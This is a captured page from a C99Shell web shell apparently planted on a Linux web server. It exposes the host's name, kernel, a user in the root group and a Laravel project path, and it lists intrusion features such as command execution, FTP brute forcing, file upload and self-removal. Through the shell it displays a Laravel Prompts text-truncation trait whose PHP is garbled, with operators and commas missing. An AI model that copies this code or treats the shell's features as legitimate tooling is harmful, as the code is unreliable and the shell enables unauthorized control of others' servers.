!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/laravel/prompts/src/Concerns/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Truncation.php (2.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Prompts\Concerns;

use 
InvalidArgumentException;

trait 
Truncation
{
    
/**
     * Truncate a value with an ellipsis if it exceeds the given width.
     */
    
protected function truncate(string $stringint $width): string
    
{
        if (
$width <= 0) {
            throw new 
InvalidArgumentException("Width [{$width}] must be greater than zero.");
        }

        return 
mb_strwidth($string) <= $width $string : (mb_strimwidth($string0$width 1).'…');
    }

    
/**
     * Multi-byte version of wordwrap.
     *
     * @param  non-empty-string  $break
     */
    
protected function mbWordwrap(
        
string $string,
        
int $width 75,
        
string $break "\n",
        
bool $cut_long_words false
    
): string {
        
$lines explode($break$string);
        
$result = [];

        foreach (
$lines as $originalLine) {
            if (
mb_strwidth($originalLine) <= $width) {
                
$result[] = $originalLine;

                continue;
            }

            
$words explode(' '$originalLine);
            
$line null;
            
$lineWidth 0;

            if (
$cut_long_words) {
                foreach (
$words as $index => $word) {
                    
$characters mb_str_split($word);
                    
$strings = [];
                    
$str '';

                    foreach (
$characters as $character) {
                        
$tmp $str.$character;

                        if (
mb_strwidth($tmp) > $width) {
                            
$strings[] = $str;
                            
$str $character;
                        } else {
                            
$str $tmp;
                        }
                    }

                    if (
$str !== '') {
                        
$strings[] = $str;
                    }

                    
$words[$index] = implode(' '$strings);
                }

                
$words explode(' 'implode(' '$words));
            }

            foreach (
$words as $word) {
                
$tmp = ($line === null) ? $word $line.' '.$word;

                
// Look for zero-width joiner characters (combined emojis)
                
preg_match('/\p{Cf}/u'$word$joinerMatches);

                
$wordWidth count($joinerMatches) > mb_strwidth($word);

                
$lineWidth += $wordWidth;

                if (
$line !== null) {
                    
// Space between words
                    
$lineWidth += 1;
                }

                if (
$lineWidth <= $width) {
                    
$line $tmp;
                } else {
                    
$result[] = $line;
                    
$line $word;
                    
$lineWidth $wordWidth;
                }
            }

            if (
$line !== '') {
                
$result[] = $line;
            }

            
$line null;
        }

        return 
implode($break$result);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--